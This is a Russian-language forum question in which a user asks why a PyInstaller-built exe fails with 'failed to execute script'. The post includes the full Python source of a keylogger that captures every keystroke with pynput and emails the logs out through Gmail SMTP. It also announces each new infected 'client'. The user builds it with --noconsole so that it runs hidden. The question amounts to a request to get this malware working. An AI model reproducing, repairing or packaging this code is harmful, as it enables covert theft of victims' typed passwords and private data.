@vkshit

Как исправить ошибку после компиляции файла в exe failed to execute script?

Здравствуйте столкнулся с проблемой после компиляции файла в exe

Использовал я pyinstaller

pyinstaller --onefile --noconsole keylogger_one.py

Ошибка
602ba1ada924e871529839.png

Исходник
#!/usr/bin/env python
from pynput import keyboard
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

def send_mail(message):
    email = "email"
    password = "password"

    msg = MIMEMultipart()

    msg.attach(MIMEText(message, 'plain'))

    server = smtplib.SMTP('smtp.gmail.com: 587')
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, msg.as_string())
    server.quit()

logs = ""
press = 0
send_mail("Клиент в сети!")

def process_key_press(key):
    global logs
    global press

    try:
        logs = str(logs) + str(key.char)
    except AttributeError:
        if key == key.space:
            logs = logs + " "
        else:
            logs = logs + " " + str(key) + " "

    press = press + 1
    if press == 21:
        send_mail(logs)
        press = 0
        logs = ""

    print(press)

def start():
    keyboard_logger = keyboard.Listener(on_press=process_key_press)

    with keyboard_logger:
        keyboard_logger.join()

start()


Лог компиляции https://pastebin.com/m0kE1d7y
  • Вопрос задан
  • 63 просмотра
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы
26 февр. 2021, в 22:16
10000 руб./за проект
26 февр. 2021, в 21:56
20000 руб./за проект